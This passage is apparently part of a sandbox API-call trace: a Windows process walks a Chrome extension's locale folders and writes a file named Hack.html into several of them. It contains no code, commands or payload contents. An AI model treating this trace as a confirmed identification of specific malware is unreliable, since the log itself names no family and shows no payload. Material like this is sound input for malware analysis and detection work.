HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpFilePart=0x0) returned 0x89 [0072.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\", lpFilePart=0x0) returned 0x8a [0072.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.644] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpFilePart=0x0) returned 0x89 [0072.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\", lpFilePart=0x0) returned 0x8a [0072.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.645] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.645] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.645] GetFileType (hFile=0x174) returned 0x1 [0072.645] GetFileType (hFile=0x174) returned 0x1 [0072.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpFilePart=0x0) returned 0x89 [0072.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\", lpFilePart=0x0) returned 0x8a [0072.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.649] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.649] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpFilePart=0x0) returned 0x89 [0072.649] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\", lpFilePart=0x0) returned 0x8a [0072.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.650] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.651] GetFileType (hFile=0x174) returned 0x1 [0072.651] GetFileType (hFile=0x174) returned 0x1 [0072.651] WriteFile (in: hFile=0x174, lpBuffer=0x26baf94*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26baf94*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.652] CloseHandle (hObject=0x174) returned 1 [0072.652] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpFilePart=0x0) returned 0x89 [0072.652] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\", lpFilePart=0x0) returned 0x8a [0072.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.653] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.653] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpFilePart=0x0) returned 0x89 [0072.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\", lpFilePart=0x0) returned 0x8a [0072.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.654] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.655] GetFileType (hFile=0x174) returned 0x1 [0072.655] GetFileType (hFile=0x174) returned 0x1 [0072.655] WriteFile (in: hFile=0x174, lpBuffer=0x26c0544*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26c0544*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.656] CloseHandle (hObject=0x174) returned 1 [0072.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x8c [0072.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\", lpFilePart=0x0) returned 0x8d [0072.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.657] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.657] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x8c [0072.657] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\", lpFilePart=0x0) returned 0x8d [0072.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.657] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\Hack.html", lpFilePart=0x0) returned 0x96 [0072.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.658] GetFileType (hFile=0x174) returned 0x1 [0072.658] GetFileType (hFile=0x174) returned 0x1 [0072.658] WriteFile (in: hFile=0x174, lpBuffer=0x26c5bd4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26c5bd4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.659] CloseHandle (hObject=0x174) returned 1 [0072.659] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x8c [0072.659] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\", lpFilePart=0x0) returned 0x8d [0072.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.660] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x8c [0072.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\", lpFilePart=0x0) returned 0x8d [0072.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.661] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\Hack.html", lpFilePart=0x0) returned 0x96 [0072.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.662] GetFileType (hFile=0x174) returned 0x1 [0072.662] GetFileType (hFile=0x174) returned 0x1 [0072.662] WriteFile (in: hFile=0x174, lpBuffer=0x26cb264*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26cb264*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.663] CloseHandle (hObject=0x174) returned 1 [0072.663] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpFilePart=0x0) returned 0x89 [0072.663] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\", lpFilePart=0x0) returned 0x8a [0072.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.664] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpFilePart=0x0) returned 0x89 [0072.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\", lpFilePart=0x0) returned 0x8a [0072.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.665] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.665] GetFileType (hFile=0x174) returned 0x1 [0072.666] GetFileType (hFile=0x174) returned 0x1 [0072.666] WriteFile (in: hFile=0x174, lpBuffer=0x26d0814*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26d0814*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.666] CloseHandle (hObject=0x174) returned 1 [0072.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpFilePart=0x0) returned 0x89 [0072.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\", nBufferLength=0x105, lpBuffer=0x39e698, 